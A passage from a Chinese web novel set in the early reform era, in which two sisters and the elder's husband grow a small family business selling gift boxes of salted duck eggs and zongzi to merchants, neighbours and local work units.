但一联想到以前在供销社抢布的经历，确实，售货员的态度也很重要，要不是只能在那儿买，谁想看人脸色呢！
虽然她们要是一直推礼盒，不至于跟供销社售货员一个性质，但现在市场开放了，不买你家还有别家卖了，手上有钱可不会被谁拿捏?的，是她买的东西话，也是要挑一家顺眼的了。
“……”
白春枝不知道自己的话，让妹妹的思维更发散了，见白春芽明白卖东西也讲究一个“点到即止”，毕竟“上赶着的不是买卖”，就不再多说了。
“好了，差不多我们也该收拾出门了。”
还是老规矩，剩下已经不多的粽叶和粽子得拿到别的巷子去转转。
“嗯！”
白
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春芽消化了下姐姐的话，打算一会儿就试着站在买主那边多考虑，大不了，再多讲点对方爱听的话。
她就不信，他们这么好的礼盒还卖不出去了！
“你也不嫌累啊？”
东西装背篓了，临出门前，白春枝见妹妹直接把那一篮子盐蛋礼盒也垮在手上，不由愣住了。
“带过去才好给人介绍呀！”
被姐姐启发后，白春芽一改之前被婆婆大娘们打击后的怂样，此刻的她，特别的有信心了，就等着“大展拳脚”了。
“……”
瞧白春芽情绪高涨，白春枝也不好再反对了，她愿意带着就带吧！
姐妹俩分头行动。
白春芽背了那么老些东西，情况怎么样，白春枝暂且不知，她倒是挺有目标了。
借着叫卖粽叶和粽子的功夫，只要见到有感兴趣瞥上那么一两眼的，白春枝都会停下来跟人多聊两句。
哪怕人家只是一时兴起问个价，也没关系。
白春枝一一笑眯眯的回了。
小媳妇这样的好脾气，是很得老太太的喜欢了。
像之前遇到李阿婆那样，几个老太太一边挑粽叶一边拉家常，在听到哪家的儿孙在什么单位、哪个厂子，白春枝也适时提起，他们现在有一种盐蛋礼盒，挺适合送节的。
“礼品盒子的概念是南方传过来，还挺时兴了。”
“真的啊！”
“是不是哦？”
概念不概念的，老太太们不懂，倒是听到了一个“南方过来”的。
“是啊。”
不管是不是，白春枝那必须得点头了，反正他们会做这礼盒的想法，是从客商那儿来的。
老太太们每天买菜做饭，偶尔听听广播，对改革开放的政策了解不多，但市场上的变化却深有体会。
那南边进的货就是和本地不一样，都是些没见过的新玩意儿。
南方兴起的盐蛋礼盒，经白春枝走街串巷的宣传，虽然大部分人还没目睹它的真容，却是已经听过大名了。
最后一点粽叶卖完，白春枝比往常还多走了两条街，依旧有点“意犹未尽”，但两手空空不太适合加入老太太们的龙门阵，只能打道回府。
“姐！”
刚到家，见白春芽竟比她先回来了，白春枝瞧妹妹一脸的兴奋劲儿，不用说，肯定是将那份盐蛋礼盒给卖出去了。
“这么厉害啊，怎么卖的啊？”
“你猜猜？”
接过姐姐身上的背篓，白春芽还卖了个关子。
“……”
白春枝盯着妹妹看了好一会儿，感觉她这运气也不错了，回回都能遇到出手大方的买主。
“又是人家主动问的？”
“哪儿能啊！”
白春芽摇摇头，也忍不住了，等白春枝洗完手就将姐姐拉到堂屋坐下，一把散钱毛票放桌上，急急的开口了。
说来，也是他们这礼盒包得过于精致了，好多都以为这是她自用的篮子，有多看两眼的，却没人主动问起。
秉持少说少错，白春芽忍了好几次，都没先开口推销，直到她路过供销社看到一位女士。
20. 启发
“哦，什么样的女士？”
让妹妹特别注意到，并且称之为“女士”，这在他们大多数人都讲方言的小镇，算是一个很时髦的词了，白春枝瞬间来了兴趣。
“哎呀，姐啊，那你是没看到了——”
提起她怎么一眼就看到那位女士的，白春芽也是有一肚子话要讲了，索性直接站起来跟姐姐比划道。
“当时我不是从巷尾转出去么，过了大马路就离供销社不远。”
其实还是有点距离的，不过白春芽卖货积极性高，她是恨不能眼观六路耳听八方的来寻找合适的买主了。
加上那位女士的一身装扮，确实是在人堆里也不容忽视的存在。
“你知道的，像淑云姐他们上班的，平时要不是列宁装、就是白衬衫，已经和咱们很不一样了。”
白春芽扯着自己的小碎花上衣，又指了指她下面的棉麻长裤，说着还凑近了些，想让姐姐看得更清楚了。
“……”
瞥见妹妹的动作，白春枝有些好笑，自己穿的跟她可没什么差别，都是为了平日干活方便。
在样式上，白春枝觉得已经够时兴了，她们还是照着百货大楼里的款做的呢，她瞧着也不比镇上的人差多少。
只人家姜淑云要上班，那种特别干练的样子，她们肯定没法比的。
白春枝还是赞同的点点头，配合着妹妹的表演，只见白春芽又瞪大了眼，表情更是夸张了。
“人家那位女士呢，打扮就更不一般了，是一身西装套裙呢！”
“西装啊……”
这是白春枝最近才听过的一个词，有妹妹带着，两人做衣服琢磨款式时，有过一点了解，她知道那什么列宁装、布拉吉都是国外传过来的，西装也是一样了。
“是西装套裙呢！”
见姐姐也震惊到了，白春芽满意了，不过还是强调了下重点。
她是见过那些客商偶尔也穿西装，不稀奇。
关键这位女士，成套西装下面没配西裤，是同面料的半身裙，再加一双带根的小皮鞋。
看着就很不一样，白春芽说不出那种感觉。
行动快过脑子，白春芽还没想明白自己要干什么，她已经蹭蹭跑到人面前了。
走近一看，白春芽只见那位女士的一头短发，还是烫了卷的。
烫头发这技术是老早就有了，只他们小镇确实不普遍，这要让一帮老太太见到了，肯定是要当西洋镜看了。
供销社那条大街的人相对要好些，倒是见怪不怪。
白春芽愣在人面前，主要是她还眼尖的看到那位女士是化了妆的。
细细的眉毛、红红的嘴唇，像那画报上的摩登女郎，直接把白春芽看呆了。
“你就直直的站人家跟前，那不当了人家的路了？”
白春枝也来不及追问什么妆容了，真怕妹妹被人误会，被当成是要拦着人家强买强卖的。
“没有没有。”
见姐姐急了，白春芽赶紧摇头。
那位女士可没空注意一个背篓小姑娘了，她手上的尼龙袋子已经被供销社几样东西撑到最大，眼看另一只手的也要掉了，一时间进退两难。
还好，白春芽当时没彻底傻掉，下意识伸手去帮了一把。
就这样，白春芽终于和人搭上了话。
当然，回过神来的白春芽谨记着卖东西也要站在买主的角度，可以热情，但不要过度惹人烦。
“只不过，人家遇到了点小烦恼，我能帮的话，那肯定就不客气了，是吧？”
“哦？”
危机解除，白春枝也放心下来，看妹妹那小表情，知道后面还有事了，应了一声，让白春芽赶紧讲。
原来，那位女士姓徐，同萧远山接触的客商差不多，是从外地来的，怪不得穿得格外洋气了，说是过来考察什么，具体的白春芽没听懂。
但那都不是重点。
当时的情况是，徐女士结束工作第二天要回去了，她本来是准备给亲朋好友带点当地的特产，他们这儿吃的东西还不错，就是不太容易储存，包装也过于简单。
“徐女士在供销社看了一圈，只买了几包糕点，她还说咱们这儿的一些农副产品很有特点，她都没见过，像是粑粑馍馍那些也适合老人吃，但她都不好带走。”
“然后你给她推了礼盒？”
“是呀！”
送上门的生意了，白春芽再不抓住就是傻子。
“我把篮子递过时，她还不敢信了，一个劲儿的说我们做得太好了，还以为是自家用的，我为了哄她了，不然怎么那么巧。”
“你这可不就什么都撞一起了，要不是你还背个背篓，人家都怕你是专门蹲人家呢！”
“哈哈哈就是说呀！”
白春芽想想也觉得好笑，还好徐女士没多想，别人估计都要以为她是骗子了。
“最后徐女士是看了红纸上的字才信了的。”
说着，白春芽继续讲起，从外地人的角度来看，他们之前都忽略的一点信息。
“徐女士刚在供销社对比过，那些看着还行的礼盒都是外地来的，像是烟酒、糖果、罐头、饼干盒子，咱们本地能叫得出名字还没有了。”
“……”
“要不就是外面那些手工现做的，一些耐放的糕点、酥饼、米花糖还行，新鲜做的可真不好带走了。”
“这倒是——”
白春枝点点头。
说来，他们这儿倒不是一点知名特产都没有了，就隔壁镇还有一种全国有名的调料了，只是本地人嗜辣，外地可不是人人能接受的。
还得是一些大众口味才行。
先前做礼盒时，光顾着跟那些名头响亮的做比较，还忘了，他们完全可以加上本地特色。
这一部分市场还是空白的呢！
端午礼盒一块儿，太有时节性，要是能做成特产类，可不就发展成长久的生意了么？
而且他们这儿还有交通优势，一面靠山，一面却是国道省道的连接枢纽，要不也不会有客商来了，好些大车也要来歇歇脚的。
姐妹俩对视了一眼，一拍即合，都想到一会儿去了。
说着就做。
白春枝拿出纸和笔来，白春芽将桌上的零钱一推，今天的账是来不及算了。
两人先罗列一些本地的特产，像刚列举的糕点，还有本地人
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常吃的又被那些客商有夸过的各种不辣的酱、榨菜等等，甚至一些过年才会做的腌制品、风吹鸡、风干牛肉什么的都可以。
也不管会不会做、放不放储存、好不好运输了，两人把能想到的都记上了。
隔壁那个酱园国营厂，其实也给了白春枝不少启发。
食品保质方面，好些他们自己办不到的事，那这有机器的大厂他们总可以解决吧？
要不他们怎么把东西卖遍全国呢？
大不了，他们挨个从这些厂里进货好了。
“对啊！”白春芽听完姐姐的话，猛的一拍掌，还真是了，“那粽子不就可以装进礼盒了么！”
之前一直困扰他们的难题，换个思路，似乎也不是不能解决。
越想越觉得这个礼盒大有前途了。
等萧远山回来时，只见两姐妹趴在八仙桌上，连旁边散着一堆零钱都无人在意。
“呀，姐夫你回来啦？”
光线忽暗，白春芽一抬头，才看到堂屋门口站了个人，可见刚两人有多专心。
“忙什么呢？”
萧远山瞧着她们可不像是在算账，放完东西过来又问道。
“新点子！”
白春芽先写完手上的两张纸，朝姐夫扬了扬，转头又等着姐姐的写完。
老爷子今早回村里了，午饭不回来吃，他们三人倒是可以随意点。
进到厨房，白春芽没忘记把刚写的东西带进去，然后迫不及待的给萧远山讲了她们的新想法。
“我看看你们都写了哪些？”
萧远山没先给意见，转而朝白春芽要了那几张纸，看看她们俩写的。
“怎么样？”
一共就五张纸，内容都不多的，不过是把一种或是一品类的东西，计划要从哪里收到礼盒打包最后大致的销路写了写。
有端午的经验，这次更详尽了些，但不至于看那么久吧？
白春枝见妹妹屏住呼吸，像是等着宣判一样，也忍不住问道。
“都挺好的，是可以试试。”
萧远山看了完，点点头，把纸还给了白春芽。
“真的么！”
白春芽美滋滋的接过纸来，有些兴奋她们的主意是可行的。
“那你再补充一下？”
白春枝却觉得萧远山的回答有些过于简单了，虽然她已经尽可能的把自己能想到的都写上去了，可毕竟没有做过特产，她还是有些心里没底。
要弄起来的话，可是加了不少种类，光是进货这一块儿就是成本的大头呢！
“你们选的几种，像是各种酱、榨菜这些，我们是有本地价格优势的，早就有大批量的运输到外地，那些外地客商来，不仅是运他们的东西进来，也会买一些便宜的原材料走，而这些做了一道加工卖出去的，要比直接卖蔬菜赚，也更好储存和运输。”
“啊，已经有卖的了啊？”
白春芽还以为像礼盒，是他们独一份了，原来这好点子早被想到了，瞬间有些丧气了。
“不是，我刚讲的是厂里走量的那种，现在零售卖出去的暂时还没有了，特别是针对外地一这块儿，你们选的这个方向不错。”
21. 订单
说穿了，还是借了改革的春风。
现在票证逐渐取消，物资丰富了，国民生活水平逐步提高，才衍生了这一系列的商机。
所以，白春芽确实也没说错了，“特产”这块儿，她们是很有敏锐度的率先发现了新市场。
只是能不能抓住这个机遇，还要看怎么做了。
目前要将“特产”做成一门生意，单靠平时遇上的一两个外地商人肯定是不够的，毕竟时下真正出去的人少，大多还是为了公务出趟远门。
但好在他们这里还有一个交通的优势，可以寻找渠道运出去。
总之，很值得尝试。
姐妹俩被萧远山这样一分析完，心情可以说是起伏不断，幸好最终计划是可行的。
“做生意就是这样吗？”
白春芽经历了这么一场，感觉自己脑子都有点不够用了，靠在姐姐肩膀上叹息道。
“是呀，你以为嘴巴上说说那么简单啊？”
白春枝将蕹菜放进锅里来，才转过来拍了拍妹妹头，笑道。
说到底，还是他们的家底薄了些，在投入的成本大时，才会慎之又慎的做出某个决定了。
“哎……”
白春芽皱着眉又长须一口气，没办法，都还没来得及为她们的新点子高兴了，就要考虑这个考虑那个的。
这真要开始实施了，还有的琢磨呢！
果然，钱不是随随便便就赚了。
“哦，都忘了问，姐夫，你那几个礼盒卖出去了吗？?”
翻过这茬，白春芽又想到了开心的事。
“嗯。”
被两姐妹的“突发奇想”一打岔，萧远山也忘了说，跟着从包里摸出来几张纸来。
“什么呀？”
白春芽还以为她姐夫能甩出一沓子钱来呢，结果跟她们一样，拿了几张纸。
“你念念——”
白春枝正在捞面，没空看了，让妹妹站直了，念一下上面写的什么。
“订购单？”
才摸着一点生意门路的白春芽还没见过这东西了，只是，越往下看越惊讶，瞬间嗓门儿都大了三倍。
“李老板要了十盒！”
“王老板大大小小的加起来，八、十二，一共十六盒？”
“还有蔡老板也要十……”
同样是五张纸，这含金量，让白春芽都不敢相信自己的眼睛了。
“妈呀、这些大老板，是有多少亲戚朋友啊、需要送那么的多礼！”
随便加一加的数字，完全超出了白春芽的认知。
这可不是自家田里的大白菜随便拔随便送了，有个什么吴老板，一个小号礼盒都不要，全选的最大号，那一出手，不得一两百块呀！
“那当然了，人家做生意的，需要结交的朋友圈子，跟我们想的可不一样了。”
等白春枝在打蛋了，萧远山撤了火，才大致说了下情况。
他今天一趟就能拿下这些单子，说来，也算是占了一个先机。
开放这几年，客商们陆陆续续来他们这儿，需要结交多少的人，肯定不是他们能想象的，而礼节方面，也不是现在才有的，一直都存在的。
只是礼品的选择上，除了他们本省的名酒香烟，其他的几乎没什么变化更新，送来送去都是老三样。
关键是，一年到头还真有那么几个重要的节日了。
这次送烟、下次送酒，再来就是什么奶粉、饮料了，还是得人家属有哪些人了，几个回合下来，难免会送重，显得不太尽心，也是一个头疼的问题。
所以，萧远山这端午礼盒一拿出来，不就很得客商们的心了么？
应景又有面儿，还不用愁要送什么了。
“哇，这就是我姐说的，从买主那方考虑么！”
白春芽听姐夫这么一说，感觉还怪耳熟的，琢磨了两遍就理解，瞬间对姐姐姐夫更崇拜了。
“我看看呢？”
让萧远山将三碗煎蛋面端出去，白春枝擦了擦手，终于有空来看看那几张纸了。
几张订购单写得还挺正式，打头就是订购人姓名电话地址，都是他们在这边联系的上的信息，然后是品类、数量。
瞧着几个眼熟的名字，白春枝说听夫君提起过的，还有印象。
像是白春芽最惊讶的那个吴老板。
白春枝尤为深刻是，对方是沿海那边的人，刚过来时，只会说自己的方言，几乎交流都成问题的，但人家就是很厉害，大部分靠比划也能把生意谈成了，他也是最早找萧远山搬货的人。
然后是大大小小订的最多的王老板。
白春枝记得是因为，这位是吃不了一点辣的主，有次货车出了点问题，一周的行程耽误了大半个月，外头的东西不太吃的惯，后来被萧远山领到家里吃了几天家常菜。
赞过白母盐蛋的那位，也是他了。
剩下几位，全是近来跟萧远山合作的客户，看来，他这趟跑得还挺顺利的。
“该办的手续，今天也跑完了。”
吃着面，萧远山把今早跑手续的进度讲了讲，总归他们如今也是证件齐全了，可以放开手脚的去做了。
“那一会儿就回去让老妈多泡点鸭蛋。”
白春枝点点头，一下子来了这么多单子，确实要提前准备起来了。
“嗯，姐，还有那个呢——”
吃着面了，白春芽听姐姐和姐夫聊的，又提醒道。
“咱们不是说要去酱园问问人家怎么包装的吗，好把粽子也放进礼盒呀！”
“哦对的。”
说起这个，白春枝也放下筷子，对萧远山解释了一下。
“就是我们的粽子，要煮熟了也算是熟食，看看有没有可能去问问人家大工厂是怎么包装的，可以的话，看能不能送去给点工费，请人帮我们封装一下呢？”
“这个的话，我今天下午先去问问吧！”
萧远山也知道，包装问题要能解决，礼盒还能再丰富些，估计能卖得更好了，点头应了下来。
“那牛车，就你们下午赶回去？”
“好！”
两口吃完面条，白春芽先答应下来，有姐夫那些个订单在前，她的一单还真不算什么了，也不准备再显摆了，得赶紧把礼盒弄出来才是。
中午简单搞定，三人再次兵分两路。
姐妹俩赶着牛车回去时，白家才刚吃过午饭。
听说萧远山接下了大单子，一向比较信大女婿的白母，也有点不敢相信了。
怎么有种，“天上掉馅饼”的不真实感呢？
“当当！来看这是什么？”
白春芽已经是摸准了老娘的心思，从姐姐那里要来单子，一股脑的递到了白母跟前。
“什么啊？神神秘秘的——”<
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白母上过扫盲班，大部分的字会认的，只现在眼睛有点老花了，把几张纸拿的远些了才看清。
“……”
接下来是长达一分钟的沉默，等得一家人都有些着急了，还是白二哥将老妈手上的单子拿去给不知情的几人分着看了。
白母手上的单子被抽了，还有些恍惚。
其实也不是不信了，再说了，女婿骗他们的盐蛋也没什么好处。
只是刚才两个女儿的话，都没单子上的数据来得震惊。
“这才半天啊，妹夫就拉了这么谢哥大单子，嚯哟、你们这盐蛋生意，可以呀！”
于是，一下午，白家所有人都没去田里干活了。
白父继续编篮子，白家大哥二哥则去帮忙收盐蛋、买白酒，白母带着两个儿媳妇在家洗洗涮涮，能用上的坛子是全部要征用了的。
白春枝和白春芽又跑两趟，加定篮子和买红纸、碎花布。
忙活了两天，白家门口的小摊儿都没空摆了，白母的第一批盐蛋终于全进了礼盒。
几十个礼盒整整齐齐的摆在堂屋，看着还是挺震撼的。
而就这，却还没凑齐萧远山拉来的订单，好在粽子的包装是搞定了。
原来早在前两年，国内第一款自己研发的真空包装机就问世了，经过不断的发展，这项技术逐步运用在各个方面。
索性，他们这边的国营酱园也是首批引进的厂家。
萧远山找了人帮忙，以每个两毛的成本将这个问题解决了，剩下的就是去和订购的客户谈要不要把盐蛋替换成粽子。
“现在开始装车了不？”
今天白二哥也继续来镇上帮忙，要不娘子军们还真不好把那么多坛盐蛋运来，看到妹夫在整理单子了，他也准备干活了。
这可是老娘她们的大生意啊！
“嗯，二哥我在车上放了稻草，等下直接平放就可以，最多重两层，只是我这边要分类放一下，等下好卸货。”
说着，萧远山按几个地址的远近，一家一家的数好数量。
大伙儿一起搬，不一会儿的功夫就将一屋子的礼盒全垒在牛车上了。
“哎哟，你这要不分两回拉啊？”
见妹夫已经在系绳子了，来回跑了好几趟的白二哥，也不知累得气喘，还是看到萧远山的动作，整个心都跟着悬吊吊的。
这里可全是鸭蛋呐，掉下去摔了，可不得了啊。
“反正我也不慌着回去，我等你好了。”
“不用，几个地方都不远的。”
萧远山拉货卸货也做了挺久了，上车还是挺有技巧的，捆上绳子左右晃了下，都稳妥了。
“嗨呀，这就是你们那个礼盒啊？”
“这是要拉到哪儿去呀？”
“这儿马上要端午了，肯定是人家定了嘛！”
“啊，都是人家买了的呀？”
“嗨哟喂，哪个老板哦，这么大方，买这么多！”
“……”
牛车停在门口，礼盒一趟趟的拎出来上车，很难不被巷子里的人注意，几个和白春枝还挺熟的大娘围了上来，一边张望一边开始打听了。
先前只是被价格震惊了，没想到议论了两天，又没见两姐妹摆摊了，还以为她们不卖了的。
结果，今天直接整了满满一车，还都是要送出去的，这冲击，堪比那天的天价了。
22. 开张
待萧远山坐上牛车准备出发时，周围的大娘们自发的让开了路。
“哒哒……”
一车礼盒稳稳地驶出巷子，站在门口目送萧远山的白春枝，这会儿才算有空回答大家的问题。
大娘们想知道无非就是，这礼盒那么高的价格，也有人买么，还卖了不老少了，是不是真的哟？
这事实就摆在眼前，也没什么好隐瞒的，白春枝好脾气的一个个回了。
随着白春枝的每一个点头微笑。
白春芽在旁边，明显能听到有一两个大娘听完立马抽了一口气，还有心算快的阿婆，在碎碎念的数刚一车两层的礼盒大概有多少个了。
本来觉得有些扬眉吐气的白春芽，顿时不敢再瞎吱声了，这些婆婆大娘的嘴巴厉害着呢！
真是恨不得把人老底都盘算清楚了。
门口的热闹维持了好一阵，满足了八卦的大娘们才陆陆续续散了。
回到屋里，大家的活儿还没完。
包装问题一解决，白春枝就计划将粽子作为礼盒的重点了，这东西包起来、再煮一锅，比泡盐蛋快太多了。
本来马上临近端午，时间也紧。
于是分两头，白家白母坐镇，继续收鸭蛋、泡盐蛋了，白春枝姐妹俩，等白二哥送来了粽叶和糯米，就在镇上包粽子，包好了立马送去酱园包装。
好在人家那边大工厂确实比他们这个家庭小作坊讲效率，光是一口大锅，不论他们送多少粽子去，都能一锅煮了，基本可以做到当天中午送去、下午就包装完拖回来。
又加紧赶货了一晚。
第二天，白春枝她们门口的小摊又开门有货卖了。
现煮的鹌鹑蛋和粽子是老配置，只粽叶是彻底不卖了，每天摘的那点儿箬叶都快不够她们自己包的。
当然，主打则变成盐蛋礼盒和粽子礼盒了。
三个礼盒，两个打底一个垒起，形成一个稳定三角，摆在正中间的位置，远看也很显眼的，白春芽才算满意。
“幸好这里头是粽子，要不光是盐蛋，让你这样折腾了个遍，万一打了……”
“不错啊，春芽，这样摆着，像展销会上的商品一样，放眼望去，一下就能快速吸引人眼球了。”
白春枝话音刚落，姜淑云带着儿子早早的过来了，并且一上来就对白春芽这番“折腾”给出了很高的评价。
“哇，淑云姐，你说的展销会是什么啊？”
这上过班的就是不一样，那什么展销会的，白春芽都没听过，瞬间来了兴趣。
“展销会，顾名思义，展示产品、促进销售了。”
姜淑云刚好工作有涉略这部分，小姑娘问起来，她也愿意多说几句了。
“这两年，南方正在积极办会了，全国参加的厂家挺多的，创下了不少好成绩呢！”
“肯定都是国营大厂吧？”
听着就很厉害的样子，白春芽猜测道，不过又感觉和她们没关系。
“那不一定哦，咱不是改革开放了么，现在很多个体私营都干得不错，质量品质过关，还很有自己特色的，也挺容易入选了，百花齐放嘛，可不是只要大厂出品才有资格的。”
姜淑云笑着摇头，本来有心再鼓励姐妹俩两句的，她看这端午礼盒就做的就挺有心意了，不过又觉得扯远了，转而问起了价格。
“哎呀、那天都忘了，这不马上要过节了么，跟孩子爸爸聊起来才想起来，我们这边的亲戚不多，但还是有那么几个老辈子要去拜访了。”
说着，姜淑云拿着一个白春芽递过来的礼盒看了起来，跟先前那种不大一样，没有了她喜欢的碎花包边，不过今天这几款看起来还要更正式些。
听完白春枝的介绍，姜淑云比较了大小和盐蛋粽子的数量，挑选了两个中号的。
“正好你们出了端午礼盒，我就不用自己准备了，泡盐蛋包粽子这些，完全不是我拿手的，随便拎点散装的又不像样，不然真知道送什么好。”
姜淑云这样想法的，自然不在少数。
母子俩一走，没等姐妹俩总结下这单开门红，先前就有意向最早问过价的大娘来了。
这位也是姓李，白春枝跟着大家一样称呼对方为李二娘。
平时都是同大伙儿三三两两一起出来买菜的李二娘，今天明显比其他老姐妹出门早了。
“小姑娘，你们新出的这几个礼盒，还是之前的价格吗？”
没了旁人的起哄，李二娘直奔主题。
“不是的，我们还新加了粽子礼盒，这些按礼盒大小，里面的数量不一样，最大的有二十四枚盐蛋，或者十二个粽子，还有混合装的，标价是从六块六到十六块六都有。”
“哦，我看看……”
这个价格跨度，可以说比之前的“天价”又翻了一倍不止，但李二娘并没被吓走，反而上手提了下最大篮子，确实是有分量的，拎着的时候，还不断点头。
“……”
眼看着有门儿，白春芽都快忍不住惊讶地捂嘴了，有些不敢置信的看向姐姐。
“好，您慢慢看，那红纸下方都有写每款礼盒里是装了什么，您可以比较一下。”
白春枝还算比较淡定，给李二娘介绍完，就等着对方自己比较衡量了。
这种买主，有意向，但人家心里又有一把尺的，此时就不适合再多说什么了，只需解答对方的疑问就行。
最终，李二娘选了一个十二块六的混合装和两个八块八的盐蛋礼盒，这款稍微能放些。
等人走远了，白春芽才敢大喘气了，简直不敢信啊，巷子里竟然有这么豪气的大娘！
“小瞧人了吧？”
白春枝看妹妹那挤眉弄眼的小样儿，哪儿还能不知道她的想法了，点了点她额头，又分析了下。
“李二娘看着就比平时带重孙的婆婆大娘们要年轻些，说不定还掌握着家里的经济大权了，你也知道，像咱们村里，要没分家，都是老娘掌管家中，估计镇上也是一样。”
“那她花这么多……”
听姐姐一解释，白春芽有点懂了，又好像没完全懂。
“应该是家里人有工作上的应酬吧？”
这是白春枝的猜测，不过也有一定的依据了。
就
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好比那些客商，为什么要又费心思又花大价去送节礼了，真是单纯为了联络感情吗，有所求有所图才是更深层的原因。
当然了，在这人情社会，需要把握一个什么样的度，就不是白春枝她们需要操心的事了。
趁着这会儿还没什么人来，白春枝将她前几天走街串巷宣传的事跟妹妹讲了讲。
她不确定经过这两天的发酵，特别昨天他们拉了那么一车礼盒走，要有动作快的客商，说不定已经把礼盒送出去了，今天难保不会有人问过来买礼盒了。
“啊，姐！这么好的法子，你怎么没先跟我讲，早知道我那天也好宣传一下咱们的礼盒呀！”
白春芽没想到姐姐在礼盒出来第一天就已经考虑到这么远了，顿时觉得自己那天拎着篮子出去逛了一圈有点浪费了。
“你把礼盒都带出去让人看到了，还不算宣传呀？”
妹妹太过于上心也是一件令人头疼的事，白春枝看着白春芽一脸懊恼的样子，有些好笑。
说罢，又把接下来的安排和她提前讲了讲。
想要卖出更多的礼盒，单靠萧远山找的客商，始终是有定数的，而她们这里摆摊不是个正规档口，还是要主动出击。
有了前两天的预热，白春枝准备再去问问各单位各大厂需不需要统一节礼了，数量多的话，价格上肯定有优惠了。
“那我去供销社问问，看看能不能把我们礼盒摆上去！”
徐女士那儿顺利开下的第一单，不仅给了白春芽启发，她信心也膨胀了不少。
这会儿竟是有些嫌弃上了供销社。
“他们柜台上的东西，品类也太少了，要是不要我们这礼盒的话，绝对是供销社的损失！”
“……”
妹妹要揽这么大个活儿，白春枝也不能阻止了，考虑了一番，将她和夫君昨晚定下的相应数量的优惠价让白春芽抄了一份。
“这就算给供销社的进货价，要他们不进货的话，也没关系，你问问能不能寄卖了，每卖出一件，咱们也可以相应的给分成。”
而这里还有些门道了。
给供销社的分成是一层，借人家的地方总要给租金了，还有一层，是需要单独给售货员的提点。
“这话，你要单独给售货员说。”
“还要单独给提点，她们这钱也太好赚了……”
白春芽本来就被姐姐一句句交代惊得不行，再到售货员这里直接炸了，可想到供销社售货员那爱答不理的态度，又一下子理解了。
“那，那行吧，我试试。”
“好了，不用有压力，不行的话，再叫你姐夫去谈。”
有人兜底，白春芽大胆的领了任务。
两人聊完没一会儿，又迎来了一波热情的婆婆大娘们的围观，主要昨天那一车礼盒太让人震撼了。
昨天姐妹俩没摆摊儿，大伙儿没看到太多后续，今天大有要死守的架势了，李阿婆她们几个老太太还揣了两把南瓜籽来。
而在众人都在看稀奇的情况下，还真卖出去一盒了，虽然是个大爷凑热闹的买了六块六的那款，也算是捧场了。
23. 大卖
捧场王的出现，可算是让大伙儿开了眼。
也叫两姐妹彻底见识到了大爷大妈们的财力。
下午，白春枝拎着两盒盐蛋和粽子礼盒去各单位各厂推销时，也将这一点运用得很充分了。
她不是正儿八经像销售一样拿着报价单去找采购部门了，毕竟，他们的家庭小作坊还没那个实力。
这法子就留给萧远山后面来吧！
白春枝依旧是走家属路线。
?也得亏她这段时间的走街串巷了，大多数人对白春枝已经有些眼熟了，有个阿婆见她今天没背篓来，只拎了两个篮子，反倒好奇地问了起来。
“小姑娘，今天又来卖啥呀？”
“是不是土鸡蛋哦？”
“对了，小妹儿，你那天说的盐蛋是啥价哇？”
“……”
有人主动喊住了白春枝，?接下来的事就好开展了。
这一次，白春枝特意选了一个人多的树荫下，她也不卖关子，直接拆开两个礼盒，临时举办了场“鉴赏大会”。
说得再多，都不如让这些婆婆大娘们亲眼看看。
“唉哟、这么好看的盒子就拆了呀！”
“啥子盒子哦，人家小妹儿那天说的，这啥子盐蛋礼盒的哇，是送礼的！”
“对的对的，这就是那个礼品盒呐？”
“嚯、里头还是粽子呀，端午节礼送粽子，合适合适！”
“你们这包得是够用心了，我看供销社那些饼干罐头都没你这个有特色！”
“……”
白春枝昨晚和萧远山聊起的时候，就想好了，要不是盐蛋和粽子必须得热一热再吃，她都想让大伙儿直接现场品尝一下了。
听说客商们要推销瓜果的话，就是直接上手劈开让客人直接试吃，等吃好了再买。
只是礼盒拿了出来，到底不如在自家门口方便，不然有个炉子，怎么都得热着给大家试试的。
现在她只能拆开，这个大娘递一个、那个阿婆送一个，请大伙儿来瞧一瞧、看一看。
果然，白春枝这一举动，直接把一帮说得正热闹的婆婆大娘给唬住了。
瞧着递到面前的东西，一个大盐蛋、一个大粽子，份量看着就不轻，这又不是瓜子花生那种小零碎，一时间都不知道要不要接了，众人你看看我、我看看你的寻主意。
最后，大伙儿见着白春枝一直笑着送大家，也抹不开面儿的收了。
其实这方式还挺新颖了，或者说，很难得见到哪个卖货的如此大方了，东西说送就送。
白春枝当然也不是完全白送了，有谁问的话，她就借着回答的功夫，再好好的宣传一下他们的礼盒了，还顺带讲了讲客商们对自家盐蛋粽子的喜爱。
礼盒在手，比那天空口白牙讲得更有效果。
就这样，还真让白春芽遇上了一个工会退休的老太太。
显然人家也是半个行家了。
满头银发的小老太太戴着金丝边框眼镜，在人群中，气质格外的突出。
她一来并没先接白春枝递的任何东西，而是就礼盒的外观细致的观摩了一遍，然后，结合篮子的实用性说了起，在最后注意到粽子还是单个包装时，又给予了很高的评价。
用词上，白春枝感觉这位小老太太比自己还专业，等她说完，现场还响起来一片掌声。
“小姑娘听到没，张主席都很认可你们这个东西哦！”
“确实，做工看着都很不错。”
“张主席往年见的东西可不少，她说好的肯定好。”
“是挺有新意的。”
“……”
在大家的解释中，白春枝终于明白。
工会是什么呢？
那可是为各职工谋福利的组织了，正巧，平常过节采购也归他们管。
搞清楚了，白春枝就更明白小老太太的评价对他们礼盒的意义了，赶紧起身道谢，同时热情的送上了两枚盐蛋和一个粽子。
“这点东西不多，您拿回家尝尝，我们这个礼盒包装花了心思，用的东西也真材实料，您品鉴品鉴，好给我们多提提意见。”
人虽然是退休老太太，或许还“县官不如现管?”，但这已经超出白春枝的预期了。
何况，她本来就是计划从家属方面入手，这不刚好撞对门儿了么！
“嗨呀，妹儿啊，你下回印个名片来，我们坐着儿帮你发一下。”
“名片么？”
在白春枝再接再厉给大伙儿又重复了一遍自家的住址，有需要的话，他们还可以送货上门。
结果，老太太们的主意可比她多多了。
“是啊，还有那个，小单单样子，上门地址电话卖啥都写有的——”
“百货宣传单哇，那也可以，南方老板就爱怎这些歌花样，传单到处发一发，这下都晓得他们在哪儿开店了！”
“就是哇，还有在报纸上打广告的呢！”
“嚯、前段时间电视上不是还播了一个酒的广告呀，人家那才是舍得哦，花了大价钱的。”
“……”
老太太们的见识比白春枝广，这天下午，她收获了三个小订单，和一脑门儿的生意经回去了。
“姐，你怎么样？”
白春芽先到家，镇上的供销社就那么一个，她软磨硬泡的见到了经理，终于是让人家同意了寄卖，毕竟这算是无本生意，试试也不吃亏。
只是这卖东西么，也不可能那么快了，何况如今的供销社人流量不比原来。
白春芽就空着手回来的，这会儿更想听听姐姐有没有收获了。
“有三张。”
白春枝点点头，将单子递给了妹妹，她是学着萧远山的订货单，地址还明确到了门牌号了，明天好给人送去。
